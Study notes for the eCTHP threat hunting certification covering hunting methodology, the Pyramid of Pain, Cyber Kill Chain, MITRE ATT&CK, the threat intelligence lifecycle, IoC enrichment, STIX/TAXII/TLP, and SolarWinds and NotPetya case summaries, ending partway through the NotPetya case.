eCTHP — Certified Threat Hunting Professional

• Proactively looking for threats in infrastructure using logs from endpoints, network devices, authentication systems, etc.
• Proactive vs reactive:
  • Reactive — alerts from EDR, SOC, SIEM, IPS, etc.
  • Proactive — searching through logs for indicators of compromise.
  • Reactive methods are insufficient for advanced threats.
• Uses "assumption of breach."
• Does not replace alert-based detections — it's part of defense-in-depth.

• Investigating and analyzing while assuming a threat actor is on the network.
• Requires many other assumptions and hypotheses:
  • System that may be compromised
  • How the system may be compromised
  • Threat actor involved (adversary TTPs)
• Not necessarily reacting to any threat or alert.

• Threat hunting ≠ incident response.
  • TH is a passive activity.
  • IR is an active activity.
• Threat hunters and incident responders work closely together:
  • Hunters discover threats and relay information to responders.
  • Responders often gather additional information to provide to hunters — hash values, memory dumps, disk images, file contents, etc. — plus additional indicators for new threat hunts.
• Responding to threats alters data on systems — could affect an in-progress hunt.

Where TH fits alongside adjacent disciplines (proactive vs reactive):

• Detect advanced threats in infrastructure — "routine/common" threats are often detected by monitoring, but advanced threats need proactive hunting:
  • Nation-state actors
  • Insider threats
  • New/advanced malware
• Reduce time that attackers are in the network:
  • Attempt to identify threats in early stages.
  • Less time to cause damage, exfiltrate data, etc.

• Dwell time = amount of time an adversary is on the network undetected and retains access.
  • Time to gather/exfiltrate data, collect credentials, lateral movement / privilege escalation, deploy other tools.
• Impacted by multiple factors:
  • Detection of intrusion before goals achieved.
  • Attacker achieves their goal(s), or detonates a "noisy" payload.
• Mandiant report benchmarks: 2022 — 16 days. 2023 — 10 days.

• Systems work based off pre-determined detection rules:
  • Signatures
  • User behavior
  • File hashes / filenames
• If an attack doesn't match a rule, the security control isn't aware — no alerts or actions if the detection rule isn't triggered.
• Requires constant updating for awareness of new malware / attacks / tools.
• Should still be used, but will not detect all threats.

Threat hunting can discover many other security issues:

• Priority vulnerabilities that need remediation
• Misconfigurations on endpoints
• Unapproved software on workstations
• Access issues

All data found during a hunt can be used to improve the security of the organization:

• Adjustments of security controls
• New security controls that need to be implemented
• Improvements to logging infrastructure
• Additional signatures / rules for detection systems

• Orgs with threat hunting teams often have scheduled hunts — routinely performed based on various hypotheses.
• New intelligence received about a potential threat:
  • Attacks against similar organizations / same industry.
  • Actively exploited vulnerabilities in software / systems the org uses.
• SOC / IR teams report an incident:
  • Active incident that requires additional hunting.
  • Anomalous activity on the network.
• Additional IOCs identified as part of a previous hunt.
• After completion of a risk assessment — verify riskiest assets / systems are secure.

1. Trigger

   Reason for the hunt, usually in the form of a hypothesis.

2. Investigation

   Using the hypothesis, search data for supporting evidence. The hypothesis may be adjusted during the hunt, based on evidence found.

3. Resolution / Outcome

   What was the outcome of the hunt? Hypothesis true? Communication and reporting of information. May pivot into a new hunt.

Loop diagram from the deck: Threat Hunting → Trigger → Investigate & Analyze → Outcome → Refine Tactics → Reveal New Info → back to Threat Hunting.

• Structured
  • Begins with searching for specific TTPs.
  • Hypothesis based on the attacker's method.
  • Hunt based on possible symptoms of that type of attack.
• Unstructured
  • Typically starts with IOCs and searching logs for them.
• Situational
  • Focused on specific resources or systems in the organization.
  • Often starts with a risk assessment — hunt based on those findings.

• Any potential negative impact (or danger) to an asset — any item owned by an individual or organization.
• Threat actor — entity taking advantage of a vulnerability / risk.
• Threat / attack vector — path used to perform an attack.
• Types of threats:
  • Natural disasters
  • Virus / malware
  • Data breach
  • Denial of service (DoS)
  • APTs

• Used to refer to groups or types of malware.
• Attacker group with significant resources, infrastructure, and capabilities:
  • Long-term detection evasion.
  • Multi-stage attacks.
  • Quick use of zero-days.
  • Custom zero-days.
• Different naming conventions used by different vendors:
  • APT / UNC / FIN# — e.g. APT29 (Mandiant / Google).
  • Animal names — e.g. Cozy Bear (CrowdStrike).
  • Weather events — e.g. Midnight Blizzard (Microsoft).
• Reference: https://attack.mitre.org/groups/G0016/

• Methods or patterns used by threat actors.
• Tactics — high-level description of behaviors and strategies.
• Techniques — more specific methods describing how tactics can be implemented.
• Procedures — sequence of activities using specific techniques to carry out attacks; can be tailored for different threat actors / groups.

• Indicators of Compromise — artifacts that may indicate presence of malicious activity:
  • File hash, IP address, domain name, filename, strings, etc.
  • Behavioral & other anomalous activity.
  • Included in threat intelligence reports.
• Hashes:
  • Unique value that represents the "digital fingerprint" of a file.
  • Generated by running the file through a hashing algorithm.
  • Common: MD5, SHA256 / SHA512, etc.

Created by David Bianco. Shows the difficulty in obtaining different IOCs — and also the level of effort for an attacker to change them. The pyramid, from base (trivial) to apex (most painful):

1. Hash Values

   Bottom of the pyramid — trivial for attackers.

2. IP Addresses

3. Domain Names

4. Network / Host Artifacts

5. Tools

6. TTPs

   Apex — most painful for adversaries.

• Very easy to discover and use.
• No question of compromise if one is found.
• Trivial for an attacker to change — any change to a file results in a completely different hash.

• One of the most fundamental indicators.
• If a malicious IP is found — near certainty of malicious activity.
• Very easy for an attacker to change, especially if using domain names.
• Many attackers use "temporary" IPs.

• Similar type of IOC as IPs.
• More difficult for an attacker to change — requires:
  • Registration
  • Payment
  • Hosting
• May be delay in propagation.

• User-agent strings.
• Traffic on non-traditional ports.
• Specific file / registry key.
• Non-browser process on port 80/443.
• Often requires the attacker to reconfigure or recompile.

• APT groups tend to use a consistent set of tools.
• Requires detection of specific artifacts of unique tools.
• Blocking specific tools requires adversaries to find / create new tools for the same purpose.

• Attacker's training, methods.
• Detecting adversary behavior, not their tools.
• If responding quickly, may force attackers to learn new behaviors.

Reference: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

1. Reconnaissance

   Attacker gathers information about target. Passive and active methods: internet searches, email harvesting, network scans.

2. Weaponization

   Attacker creates deliverable payload. May consist of a Remote Access Tool (RAT) or other backdoor, encryption tools, or another malware downloader.

3. Delivery

   Malicious payload sent to victim — email, watering hole attack (malicious website), drive-by download, malicious USB drive.

4. Exploitation

   Malicious payload is run on the victim system — user opens email attachment, or visits a malicious website where malware downloads/runs. Attacker may exploit other vulnerabilities using other methods. Can be a multi-step process: original payload runs and downloads additional malware.

5. Installation

   Additional tools installed via original RAT / backdoor — encryption software, more complex malware, command & control software, exfiltration tools. Any tools the attacker needs to carry out the objective.

6. Command & Control (C&C)

   Victim machine connects to attacker-controlled infrastructure. May use well-known ports to evade firewall rules / detection. Traffic may be encrypted. Allows additional commands and malware to be run — attacker can further customize based on victim environment.

7. Actions on Objectives

   Attacker accomplishes original goals based on all previous steps: encryption and ransom demand; data theft (and possible ransom); destruction of data or systems; software disruption; persistent access for further goals.

• ATT&CK = Adversarial Tactics, Techniques, & Common Knowledge.
• "Knowledge base of adversary tactics and techniques based on real-world observations."
• ATT&CK Matrix for Enterprise:
  • Columns reflect tactics, which contain techniques.
  • Over 230 techniques.
  • Each contains explanation, procedure examples, mitigation, detection.

Preparation for threat hunting has five sides:

• Threat Hunting Personnel
• Data Collection
• Aggregation & Analysis Tools
• Appropriate Access
• Threat Intelligence

Not necessarily a standard definition of a team — based on size of org, industry, systems, etc.

• Ad-hoc hunter
  • Typically has multiple roles in IT / security.
  • Hunts are more "task-oriented."
• Analyst and hunter
  • Most common in medium-sized organizations.
  • Security (SOC) analyst is also the threat hunter.
• Dedicated hunting team
  • Most specialized.
  • Several members whose sole purpose is threat hunting.

• Threat hunting requires data to be collected prior to the hunt.
• Logs from multiple systems ingested into a central point (SIEM) — also provides a point for searching logs from multiple systems. Examples: Splunk & ELK stack.
• Packet capture and analysis — Wireshark.
• EDR systems — provide additional data that may not be included in other logs.
• Threat intelligence information — data feeds, in-house team, third-party vendor.

• Ensure appropriate logs are being collected and saved — endpoints, servers, network devices, authentication systems, cloud, apps, etc.
• Log retention
  • Logs must be kept for an appropriate amount of time.
  • Retention length varies by organization.
  • May require a large amount of storage.
  • More logs = less retention (with equal amount of storage).
• May need additional software for more detailed logs — e.g. Sysmon (MS Sysinternals).

• Account and group activity
  • Creation, deletion, modification.
  • Log on/off — including source information.
• Network traffic & devices
  • Firewall traffic — inbound and outbound.
  • Internal network traffic as needed.
• File activity
  • Especially any sensitive, proprietary information.
  • File creation, modification, deletion.
• Email systems
  • Any email filtering.
  • Inbound and outbound mail.
• Endpoint event logs
  • Windows systems — PowerShell, system, application, Sysmon.
• Applications — any specific application logs that may be relevant to security.
• Any public-facing interfaces
  • Web servers
  • Remote access gateways
  • Email portals
  • Customer interface
  • APIs

• Measure of what is "normal" on an endpoint / network:
  • File hashes
  • Open network ports
  • Accounts on endpoint / permissions granted
  • File / directory permissions
• Used to compare against current state:
  • If matches baseline — proceed.
  • If does not match baseline — further investigation to determine why and if malicious.

• Standard method to measure an organization's threat hunting abilities.
• Measured by multiple factors:
  • Amount and quality of data that is collected.
  • Frequency of data collection.
  • Methods of analyzing collected data.
  • Ability to add automation in analysis.
• Levels 0 – 4.

• Hypothesis to begin hunt starts with intelligence information — IPs, domains, hashes, filenames, email addresses, other IOCs.
• Strategic: Who?, Why?, and Where?
• Tactical: What? and When?
• Operational: How?

• Driven mainly by internal data that may indicate malicious activity:
  • Lower priority alerts.
  • Detections based solely on aggregated data.
• Does not typically start with a definite "something bad is happening" — provides a potential starting point to create a hypothesis.
• Still uses intelligence information.

• Relies more on the hunter's knowledge of available data:
  • Logs and events.
  • Network layout and architecture.
  • Adversary TTPs.
• Heavily uses frameworks (MITRE ATT&CK).
• Hypothesis created based on TTPs seen in the wild — knowledge of TTPs helps to know how to look for suspicious activity.

• Attack-based hunting
  • Searching for evidence whether or not an attack has occurred.
  • "Did <event> occur on the network?"
• Analytics-based hunting
  • "Does anything in <system / network / data> look malicious or suspicious?"

Threat intelligence is built from: Indicators of Compromise (IoCs), Tactics, Techniques, and Procedures (TTPs), Attribution Information, and Contextual Data.

CTI across the Cyber Defense Lifecycle (Planning → Prevention → Detection → Response → Recovery, a continuous cycle):

• Planning: vulnerability prioritization, policy hardening, threat modeling, blacklisting (disallow listing).
• Prevention: (feeds into the same cycle, informed by planning).
• Detection: IOC matching, TTP detection, alert enrichment, threat hunting guides.
• Response: adversary playbooks, contextual response, attribution support.
• Recovery: post-incident review, lessons learned, improvement planning.

The cycle is also fed by planning-level activities: risk assessments, security roadmaps, simulations/tabletop exercises, regulatory compliance.

Benefits of CTI: reduces breach costs, speeds up detection and response, improves SOC efficiency, enables proactive defense, and has direct real-world relevance.

Where threat intelligence integrates into existing infrastructure: SIEM, Endpoint Detection and Response, Firewall/WAF, SOAR, and dedicated Threat Intelligence Platforms.

Sources: OSINT, government feeds (e.g., CISA KEV, NVD), ISACs, commercial feeds, dark web monitoring.

What good CTI delivers: faster incident response, reduced risk exposure, better investment decisions, more effective threat hunting.

Common CTI failure modes: information overload, poor relevance to the organization, lack of trained analysts, and failure to operationalize the intelligence collected.

CTI as a force multiplier: it adds value across the entire Cyber Defense Lifecycle — the mantra is "Don't just collect — operationalize" and "Quality over quantity." It requires people, process, and technology together, not any one alone.

Pyramid structure (top to bottom): Strategic (Vision & Priorities) → Operational (Campaign Context) → Tactical (Defensive Behavior) → Technical (Indicators & IOCs).

Symptoms of a disconnect between levels: strategic goals don't match real threats; the SOC drowns in IoCs without context; detection rules lack campaign awareness; missed opportunities for prioritization.

Key takeaways: each level of intel answers a different question; actionable intelligence must match its audience; the best programs integrate all four levels; feedback loops turn noise into insight.

An iterative cycle where each phase builds on the last, with actionable intelligence as the goal: Planning & Direction → Collection → Processing & Exploitation → Analysis & Production → Dissemination → Feedback (which loops back to Planning & Direction).

Applied specifically to threat hunting, each stage looks like:

1. Planning & Direction — Define the Hunt

   What threats matter to us now? Who are we hunting and why? What are our Priority Intelligence Requirements (PIRs)? Which MITRE TTPs should we focus on? Example: "We've seen TA577 abusing DLL search order hijacking in our sector. Let's hunt for T1574.001 across legacy systems."

2. Collection — Gather the Right Telemetry

   Pull EDR, NetFlow, Windows Logs, Authentication Logs; integrate CTI (IOCs, TTPs, actor profiles); align with hunt scope and assets. Example: "Collected DNS logs after CTI warned of APT28 using 'cdn-assets-update[.]com'."

3. Processing & Exploitation — Normalize and Enrich Data

   Normalize logs into a common format; de-dupe and filter irrelevant data; enrich with context (GeoIP, WHOIS, MITRE tags). Example: "Used a script to tag base64 PowerShell commands with T1059.001 and flag unsigned scripts."

4. Analysis & Production — Test the Hypothesis

   Look for anomalous behavior; correlate events across systems; validate adversary TTPs in the environment; document findings with context and severity. Example: "Lateral movement via PSExec discovered after matching IR evidence to Lazarus TTPs."

5. Dissemination — Get the Intel to the Right Hands

   Alert the SOC for detection engineering; share with IR and leadership; document in knowledgebases or playbooks. Example: "IOC list delivered to firewall team; Sigma rule deployed in SIEM to catch reuse."

6. Feedback — Improve the Next Hunt

   Review what worked/didn't; collect feedback from IR/SOC/CTI teams; update PIRs, scope, and detection logic. Example: "SOC reported false positives on the PowerShell rule; we refined it using baseline logic."

Why prioritization matters: you can't act on everything (the flood of intel); wasted effort vs. focused response (the cost of distraction); the goal is Relevance + Urgency + Impact.

The three-way balance — Relevance, Actionability, Criticality:

• Relevance — Is it aligned with your industry, assets, geography, threat model? Example table: an indicator seen in the Financial sector using Citrix, Asia-only, scores Medium relevance; one seen in Healthcare on Microsoft 365, US-based, scores Low relevance.
• Actionability — Can it be used to inform detection/prevention? Actionable indicators include IPs/domains with rich context (first seen, campaign link, threat actor), TTPs tied to detections in your EDR/SIEM, and Snort/YARA/Sigma-format rules.
• Criticality — What is the risk if left unmitigated? Factors: potential impact (financial, operational, reputational), data at risk, threat actor sophistication. Risk = Likelihood × Impact.

Scoring frameworks:

• Admiralty Code (NATO rating system) — rates Source Reliability (A–F) and Information Credibility (1–6) for incoming intel.
• Diamond Model — evaluates Adversary, Infrastructure, Victim, and Capability, scored by proximity to your assets/operations.
• Risk-Based Scoring — formula: Likelihood × Impact × Exposure, ties intelligence directly to risk posture.

Prioritization matrix (Relevance × Actionability): Low Relevance + Low Actionability → Ignore. Low Relevance + High Actionability → Watch. High Relevance + Low Actionability → Investigate. High Relevance + High Actionability → PRIORITIZE.

Automation vs. the analyst: SIEMs and TIPs can automate prioritization (STIX tags, scoring feeds, expiration dates), but analysts are still needed for campaign tie-ins, understanding nuanced TTPs, and applying internal organizational knowledge.

Key takeaways: not all intelligence is equal; prioritize based on Relevance, Actionability, and Criticality; use scoring frameworks to stay consistent; human analysis adds needed nuance.

Scenario: January 2024; threat actor suspected APT28-affiliated; impact — critical systems locked, patient data encrypted.

Walking the full lifecycle against this scenario:

• Planning & Direction: driven by CISO, Threat Intel Lead, Incident Commander, focused on identifying what needs to be known (IoCs, threat actor TTPs, infrastructure at risk). Example: "Determine if this is part of a broader campaign targeting the health sector."
• Collection: internal (logs, SIEM events, EDR telemetry) and external (OSINT, ISAC reports, CTI vendors, dark web).
• Processing & Exploitation: normalize data (timestamps, IPs, domain names, log formats), de-duplicate, enrich with GeoIP/WHOIS/MITRE mappings — moving Raw Logs → Parsed → Enriched.
• Analysis & Production: answers what's happening, who's behind it, what the objective is, and how to stop it. Example output: threat actor profile, IOC set, kill chain stage.
• Dissemination: formats include a flash report, threat bulletin, briefing, or Slack/ticket system, reaching SOC/Detection Engineers, Incident Response, Executive Leadership, Legal and Compliance, Threat Sharing Groups, and External Partners — all coordinated through the Threat Intelligence Team.
• Feedback: did the intel help detection or response? Were there gaps in collection? What should be done differently next time?

Roles by stage:

Outputs by level, from this same case: Tactical — enriching SOC alerts, blocking malicious IPs; Operational — campaign tracking, adversary TTP monitoring; Strategic — budgeting, long-term security priorities.

Key takeaways: the intelligence cycle is iterative and flexible; direction and feedback are crucial bookends; real-world ops require fast but accurate intelligence flows; integrating the cycle into IR and detection makes teams proactive.

Adversary analysis = tracking, profiling, and understanding threat actors. MITRE ATT&CK is a knowledgebase of tactics and techniques observed in the real world, mapping the observed behaviors of known threat actors or campaigns across a tactic chain (Initial Access → Privilege Escalation → Defense Evasion → Lateral Movement → Collection → Exfiltration).

ATT&CK stands for Adversarial Tactics, Techniques, and Common Knowledge, and is structured as:

• Tactics — the adversary's goals.
• Techniques/Sub-techniques — how the goals are achieved.
• Mitigations and relationships — how to respond.
• Data sources and detections — which logs/signals can detect the behaviors.

How analysts use ATT&CK: map threat-group behavior, compare behaviors across incidents, hunt for activity using TTPs, and prioritize detection engineering. Threat Actor pages list known techniques, tools, software, and references.

Working from indicators: e.g., use of PowerShell (T1059.001) or use of Web Protocols (T1071.001) — asking "does this activity match other known threat actor activity?" to guide incident response and assess adversary objectives.

ATT&CK is not a silver bullet — it maps behaviors, not just indicators. Core use cases: Threat Hunting, Detection Engineering, Threat Emulation/Red Teaming, and Attribution Support.

Correlation links IoCs across time, tools, and sources — transforming isolated data points into an intelligence picture, and enabling detection, attribution, and response.

IoCs are digital clues tied to malicious activity — can be atomic (an IP, a hash value) or behavioral (a process tree) — used to detect, track, and stop threats.

Sources for correlation: internal telemetry (SIEM, EDR, DNS, proxy), external intel (MISP, OSINT, vendor feeds), government/ISACs (CISA, sector-specific ISACs), historical incidents and ticketing systems.

Why correlate: validate threats using multiple sources; enhance context and actor attribution; detect low-signal or stealthy threats; link infrastructure and uncover campaigns.

Five correlation techniques:

1. Exact Matching

   Direct one-to-one matching of identical IOC values (IPs, hashes, domains) across datasets; the most basic form, often automated in SIEMs/TIPs/feeds. Example: IP 192.0.2.45 seen in both the org's SIEM and a subscribed threat intel feed.

2. Infrastructure Pivoting

   Using one IoC to discover related indicators via shared infrastructure (pivot from a domain to its IP, then find all domains on that IP; uses WHOIS, passive DNS, SSL cert reuse, ASN data) to expand visibility into the adversary's digital footprint. Example: domain evil-login[.]net hosted on 45.66.123.9, which also hosts 5 other known malicious domains.

3. Fuzzy Matching

   Identifying indicators that are similar but not exact (typosquatting/lookalike domains, fuzzy hashing like ssdeep for near-identical malware, minor code/filename variations). Example: dropbox[.]com vs. dropb0x-secure[.]com; malware hashes with 93% similarity.

4. Time-Based Analysis

   Correlating IoCs by event timing to reconstruct incidents, linking events across logs by timestamp to reveal attack progression and lateral movement, supporting timeline-based hunting/IR. Worked example — a single incident reconstructed from a phishing email hash at 10:03 AM, a matching DNS lookup at 10:05, an obfuscated PowerShell process at 10:06, and an outbound C2 connection at 10:07, all correlated together.

5. TTP and Campaign Linking

   Matching IoCs to known tactics, techniques, and threat-actor patterns: aligning IoCs with MITRE ATT&CK techniques, identifying repeat tool sets/scripting behaviors, mapping to historical campaigns/APT profiles. Examples: a PowerShell command mapping to T1059.001; infrastructure overlap confirming behavioral linkage to an APT28 campaign.

Tools: TIPs (threat sharing and event correlation), MITRE ATT&CK Navigator, Maltego (infrastructure graphing), Elastic/Splunk (internal log correlation), Python scripts plus enrichment APIs.

Best practices: normalize and enrich data before correlating; use STIX/TAXII for standardization; always verify external IoCs against internal logs; tag by time, actor, and confidence; avoid correlation overload (don't link everything).

Key takeaways: IoCs are valuable alone, but powerful when linked; correlation reveals intent, infrastructure, and actor behavior; use tools and context to go beyond surface indicators; good correlation is the difference between alerts and insight.

Benefits: faster detection of known-bad, improved context for analysis, better alert triage with fewer false positives, and automation possibilities.

Feed sources: Open Source/OSINT (AlienVault OTX, Abuse.ch), Commercial (Recorded Future, ThreatConnect), ISACs/Government (FS-ISAC, CISA), Internal (honeypots, IR reports).

Pipeline: Collection → TIP → SIEM. SIEM enrichment adds CTI data to raw logs; detection logic triggers alerts on IOC/TTP matches; SOAR uses CTI to prioritize and automate the response.

IOC-based detection: IP/URL/hash matching, GeoIP & ASN-based risk scoring, expiry- and context-based IOC filtering.
TTP-based detection: ATT&CK-aligned rules (e.g., detecting credential dumping), threat behaviors tied to known adversaries, mapping detection coverage to ATT&CK.

Before/after example — moving from static to context-aware detection:

• Before: IF src_ip == x.x.x.x THEN alert
• After: IF src_ip IN [Threat Feed] AND Threat_Level >= 7 AND NOT PreviouslySeen THEN alert with context

SOAR's role: enrich alerts with threat actor data, automate blocking in the firewall, prioritize incidents based on threat scoring.

Success metrics: reduction in false positives, Mean Time to Detection (MTTD), coverage of known threats, analyst feedback.

Common pitfalls: too much noise from low-quality feeds, stale IoCs, over-reliance on atomic indicators, poor correlation with the local environment.

Best practices: use vetted, high-confidence feeds; apply context (malware family, campaign); regularly tune detection rules; automate IoC expiration; feed CTI back from IR teams (closed loops).

5-stage CTI maturity model: Ad hoc CTI lookup → IoC ingestion into SIEM → Detection rule tuning → Behavioral analytics → Full SOAR-based response.

Key takeaways: integration is key to making CTI actionable; SIEMs benefit from high-quality intel plus context; automation supercharges response; CTI is not just IoC matching — think behavior, context, threat actor.

Common challenges without enrichment: lack of context, high false positives, no prioritization, blind spots in response.

The enrichment wheel around an IoC: WHOIS (registrant, creation date), Passive DNS (historic domains), Related hashes and malware families, Reputational Data (VirusTotal score), GeoIP (country, ISP).

Contextualizing questions: Is this part of a known campaign? What stage of the attack does it relate to? Does this affect my industry?

Worked example: a SOC alert fires for outbound traffic to 34.117.59.81. Enrichment reveals: WHOIS shows it belongs to Google Cloud; GreyNoise shows it scanning SSH globally; VirusTotal flags it malicious in 3 engines; Passive DNS shows it previously resolved from akudate.evilcorp[.]com; sandbox analysis shows it dropped an Emotet payload. Contextualizing all of that together: this is likely C2 infrastructure, previously used by an Emotet variant, seen in phishing campaigns in the past 7 days, and associated with TTPs linked to TA542.

Pipeline: IoC → Enrichment Layer → Context Layer → Outputs (Detection Engineering, Threat Hunting, Reporting/Intel Feeds, Incident Response).

Sources: Internal (SIEM, IR logs, sandbox detonation); External (VirusTotal, PassiveTotal, MISP, AbuseIPDB, AlienVault OTX, Shodan).

Mapping ATT&CK tactics to IoC types:

Cautions: reputation doesn't equal attribution; shared infrastructure ≠ shared actor; data staleness is real (last seen ≠ still active).

Role-specific use: SOC Analyst — enriched IoCs drive correlation rules; Threat Hunter — uses context to guide hypothesis-driven hunts; CTI Analyst — adds actor info and ATT&CK mapping for reporting.

Core idea: Enrichment = data about the IoC. Contextualization = meaning around the IoC. Together = actionable intelligence.

Raw data ≠ meaningful detection — intelligence provides direction. Focused hunts reduce wasted effort and blind spots, bring hunting in line with real-world threats (APT groups, malware campaigns), and support prioritization based on likelihood, relevance, and potential impact.

Sources by level: strategic to tactical intel all matter, but prioritize technical and TTP-based indicators; sources include OSINT feeds, commercial feeds, sector ISACs/CISA alerts, and internal telemetry (previous IR cases, phishing reports).

Building a hypothesis from intel: "If [actor/tool] targets organizations like ours, we might see [behavior] in [data source]." Example: "If Volt Typhoon is targeting ICS systems, are there WMI events in the Windows IT system logs?" This reinforces a proactive, analytical mindset.

ATT&CK-based hunting: convert intel to behaviors via ATT&CK techniques. Benefits: TTP-based hunting scales better than IOC-based hunting, and produces reusable detection content across environments. Tools: ATT&CK Navigator, Unfetter, ThreatMapper.

Visibility needed: Endpoints (EDR, logs, AV), Authentication (Windows Events, AD logs), Network (NetFlow data, proxy, DNS), Cloud (CloudTrail, GCP logs). Tool examples: Splunk, ELK, Velociraptor, Sigma rules, EQL.

6-step hunting process:

1. Ingest and contextualize threat intel

2. Create a hypothesis from a relevant actor/tool

3. Map to ATT&CK techniques

4. Build hunt queries/detections

5. Validate with real data

6. Feed results into IR/SIEM/detection

Worked example — TA551: Intel shows TA551 uses Excel macros → RDP → Cobalt Strike. Hypothesis: look for Excel spawning unusual child processes. TTP mapping: T1204.002 (User Execution), T1059.005 (VBScript), T1219 (Remote Access Software). Action: hunt EDR logs for excel.exe spawning powershell.exe, followed by outbound C2.

After the hunt: refine detections & SIEM rules; share TTP observations with SOC/IR; feed context back into the TIP or wiki; update adversary playbooks or threat models.

Traditional vs. intelligence-driven hunting:

Building repeatable workflows: templates for hypothesis generation, ATT&CK-mapped detection libraries, threat-actor tagging in logs, and integration with SOC/IR feedback loops so hunting is part of daily ops, not a side project.

Threat Hunting Maturity for an organization: Level 1 — IOC-based reactive hunts; Level 2 — behaviorally focused TTP hunts; Level 3 — fully integrated, intelligence-driven, adversary-informed hunting cycles.

• OSINT (Open-Source Intelligence) — GitHub, Twitter/X, Reddit, VirusTotal, blogs, Pastebin, etc. Strengths: free and abundant, diverse (social media/public malware repos/blogs), real-time and community-driven. Weaknesses: high noise-to-signal ratio, often unauthenticated/unverified, susceptible to disinformation or manipulation.
• Commercial Feeds — Mandiant, Recorded Future, Flashpoint, Palo Alto Unit 42, etc. Strengths: curated, enriched, usually vetted; often come with support or threat-actor tracking; SLAs and integrations with SIEM/TIP/SOAR. Weaknesses: expensive (may overlap with OSINT); risk of a "vendor echo chamber" where everyone shares the same indicators.
• Closed Sources — government agencies, sector-specific ISACs. Strengths: highly exclusive (government intel, industry-specific trust groups, dark web infiltrations), can provide early warning or high-confidence intelligence. Weaknesses: hard to access (clearance, trust, vetting), little transparency into collection methods.

The best intelligence comes from correlating across sources. Example: OSINT detects a new phishing domain → a commercial feed matches the infrastructure to a known APT → a closed source confirms campaign targeting via classified alerts.

Evaluation questions: What's the source's collection methodology? Can it be actioned? Is it redundant or unique?

Worked timeline comparison (a hypothetical December incident):

• Dec 9 — OSINT: tweets leak an exploit, GitHub PoCs drop, Minecraft servers get tested (fast, noisy alerts; crowd-sourced awareness).
• Dec 10 — Commercial feeds: YARA/Sigma rules released, initial TTP attribution, endpoint detection guidance (structured detections; context from experts).
• Dec 11 — Closed sources: alerts to critical infrastructure organizations, early ransomware warnings, nation-state actor reports (strategic response; trusted sector coordination).

"Speed + Structure + Strategy = Resilience."

Strategic decisions: Build vs. Buy vs. Borrow; use TIPs and automation to reduce overload; create internal policies for validation and usage.

• STIX (Structured Threat Information eXpression) is Structured (defined schema for consistency), Descriptive (captures indicators, actors, malware), Relational (links objects like "Malware used by Actor"), and Machine Readable (written in JSON for automated parsing).
• TAXII (Trusted Automated eXchange of Indicator Information) is a Transport Protocol (moves STIX data between systems securely/reliably), a Standardized API (HTTP/S and RESTful endpoints), supports Push & Pull (push to subscribers or let consumers pull on demand), organizes intel via Collections & Channels (topic-based containers), and is Designed for Automation (machine-to-machine sharing in real time or on schedule).
• TLP (Traffic Light Protocol) levels:
  • TLP:RED — for named recipients only; do not share.
  • TLP:AMBER — limited disclosure, only to those who need to know within your organization.
  • TLP:GREEN — share with peers and partners within your community.
  • TLP:CLEAR — no restrictions; may be shared publicly.

How they relate: STIX provides the data format; TAXII provides the transport mechanism; TLP provides the handling and dissemination guidance. In short: STIX = what is shared, TAXII = how it's shared, TLP = who it's shared with.

Structured Analytical Techniques (SATs) = formalized methods used to improve critical thinking and analysis. Purpose: examine assumptions, identify gaps and contradictions, minimize biases, consider alternative hypotheses.

7 SATs, each addressing a different weak point in analysis:

• Analysis of Competing Hypotheses (ACH) — a matrix-based technique for comparing multiple hypotheses against evidence to see which is most consistent.
• Key Assumptions Check — a technique to identify and challenge the assumptions that underpin your analysis.
• Red Team Analysis — analysts take on the role of the adversary to understand their objectives, constraints, and likely next moves.
• Indicators and Signposts of Change — a method to monitor whether your hypothesis continues to be supported over time.
• Timeline / Chronology Mapping — organizes events in time to find gaps, triggers, or patterns suggesting causality or coordinated activity.
• Mind Mapping / Link Analysis — visually connects people, infrastructure, malware, behaviors, and events.
• Devil's Advocacy — deliberately arguing against the prevailing analysis to find its weaknesses.

Why SATs matter in CTI — they counter deception, confirmation bias, time pressure, and financial risk in the analysis process.

7 cognitive biases that undermine intelligence analysis:

Key takeaways: SATs are tools for thinking critically under pressure; cognitive biases are hidden obstacles that can derail judgment; combining SATs with bias awareness builds more rigorous, transparent, and actionable threat intelligence.

ISACs (Information Sharing and Analysis Centers) trace back to Presidential Decision Directive 63; they're non-profit, member-driven organizations focused on critical infrastructure protection. Major ISACs by sector: Financial, Healthcare, Energy, IT, Auto, Multi-State Government, Aviation.

How threat data flows: ingested by cleared analysts, technical platforms, and real-time feeds; then data enrichment; then data redistribution.

Bridging public and private sectors: enables rapid sharing of classified and unclassified cyber threat data, mutual coordination, and resilience/recovery support.

Federal players: CISA, NSA Cybersecurity Directorate, FBI InfraGard, DoD/DC3, DOE/HHS/DOT/Treasury, USSS Electronic Crimes Task Force, USSS Cyber Fraud Task Forces.

Mechanics of sharing: TLP labels control distribution, packaged as STIX, pushed/pulled via TAXII, integrated into SIEMs (Elastic, Splunk), TIPs (ThreatConnect, MISP, Anomali), and SOAR platforms.

Real coordination examples:

• SolarWinds (2020): NSA detected lateral movement; Microsoft and FireEye discovered the supply chain compromise; CISA coordinated disclosure and mitigation; a STIX package with SUNBURST IOCs was shared.
• Colonial Pipeline (2021): FS-ISAC shared threat indicators related to DarkSide; MS-ISAC disseminated guidance to SLTT agencies; DHS/CISA coordinated private briefings for the utility sector.

Getting started: join an ISAC relevant to your sector; set up automated sharing (configure TIPs with STIX/TAXII access, ingest MISP feeds into SIEMs); build relationships; share intelligence, not just consume it.

Background: the SolarWinds Orion platform, used by thousands of organizations including the U.S. government, was compromised via a trojanized software update carrying the SUNBURST backdoor — discovered by FireEye in December 2020.

Timeline: September 2019 — initial access. March 2020 — trojanized update deployed. December 2020 — discovery and public disclosure.

Threat actor: a Russian SVR-linked group, previously associated with the 2016 DNC hack, known for stealthy espionage, long dwell time, and strong OPSEC.

TTPs: supply chain compromise; SAML token forgery; use of native Windows tools (LOLBAS); C2 over HTTPS disguised as normal traffic.

CTI across levels: Strategic — national security implications, vendor risk; Operational — tracking C2 infrastructure; Tactical — mapping TTPs to ATT&CK; Technical — IoCs (hashes, domains, URLs, certs).

Collaborative response: FireEye, CISA, Microsoft, and Volexity cooperated; sharing happened via STIX/TAXII and GitHub repos; disclosure moved through TLP levels — TLP:RED → TLP:AMBER → TLP:WHITE — as confidence and readiness to share broadened.

Lessons: CTI must include vendor trust models; detection requires telemetry beyond malware; attribution influences the public/private response.

Context & initial beliefs: in June 2017, a global attack initially thought to be ransomware — targeted Ukraine via compromised MeDoc accounting software, demanded a BTC ransom, but the decryption keys were non-functional.

